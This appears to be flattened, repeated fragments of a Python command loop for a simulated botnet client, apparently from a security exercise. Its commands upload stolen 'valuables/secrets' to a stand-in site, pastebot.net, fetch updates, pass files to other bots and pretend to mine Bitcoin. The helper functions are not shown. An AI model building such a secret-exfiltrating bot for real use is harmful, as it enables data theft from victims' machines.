# Upload allows for peer-to-peer file transfer to other bots if cmd[0].lower() == "p2p": if len(cmd) > 1: if cmd[1].lower() == "echo": p2p_echo() if cmd[1].lower() == "upload": if len(cmd) == 3: p2p_upload(cmd[2]) else: print("Format is 'p2p upload <filename>'") else: print("The p2p command requires either 'echo' or 'upload' after it") # Download a file (update or data) from pastebot.net elif cmd[0].lower() == "download": if len(cmd) == 2: download_from_pastebot(cmd[1]) else: print("The download command requires a filename afterwards") # Upload the valuables/secrets the bot has discovered to pastebot.net elif cmd[0].lower() == "upload": if len(cmd) == 2: upload_valuables_to_pastebot(cmd[1]) else: print("The upload command requires a filename afterwards") # Mine for Bitcoins # This is far more intensive in the real world, but we'll just pretend ;) elif cmd[0].lower() == "mine": print("Mining for Bitcoins...") bit_addr = bitcoin_mine() save_valuable("Bitcoin: %s" % bit_addr) print("Mined and found Bitcoin address: %s" % bit_addr)
if len(cmd) > 1: if cmd[1].lower() == "echo": p2p_echo() if cmd[1].lower() == "upload": if len(cmd) == 3: p2p_upload(cmd[2]) else: print("Format is 'p2p upload <filename>'") else: print( "The p2p command requires either 'echo' or 'upload' after it" ) # Download a file (update or data) from pastebot.net elif cmd[0].lower() == "download": if len(cmd) == 2: download_from_pastebot(cmd[1]) else: print("The download command requires a filename afterwards") # Upload the valuables/secrets the bot has discovered to pastebot.net elif cmd[0].lower() == "upload": if len(cmd) == 2: upload_valuables_to_pastebot(cmd[1]) else: print("The upload command requires a filename afterwards") # Mine for Bitcoins # This is far more intensive in the real world, but we'll just pretend ;) elif cmd[0].lower() == "mine": print("Mining for Bitcoins...") bit_addr = bitcoin_mine() save_valuable("Bitcoin: %s" % bit_addr) print("Mined and found Bitcoin address: %s" % bit_addr)
else: break print(Fore.GREEN + "[+] " + "P2P Upload Starting" + Style.RESET_ALL) p2p_upload(fn) else: print(Fore.RED + "[-] Invalid Command\n" + Style.RESET_ALL) elif cmd[0].lower() == "download" and len(cmd) == 1: while True: fn = input('[+] Enter Filename: ') if not fn: print(Fore.CYAN + "[-] File Needed\n" + Style.RESET_ALL) else: break print(Fore.GREEN + "[+] File Download Starting" + Style.RESET_ALL) download_from_pastebot(fn) elif cmd[0].lower() == "upload" and len(cmd) == 1: while True: fn = input('[+] Enter Filename: ') if not fn: print(Fore.CYAN + "[-] File Needed\n" + Style.RESET_ALL) else: break print(Fore.GREEN + "[+] " + "File Upload Starting" + Style.RESET_ALL) upload_valuables_to_pastebot(fn) elif cmd[0].lower() == "mine" and len(cmd) == 1: print(Fore.GREEN + "[+] " + "Bitcoin Mining Starting" + Style.RESET_ALL) bit_addr = bitcoin_mine() save_valuable("Bitcoin: %s" % bit_addr)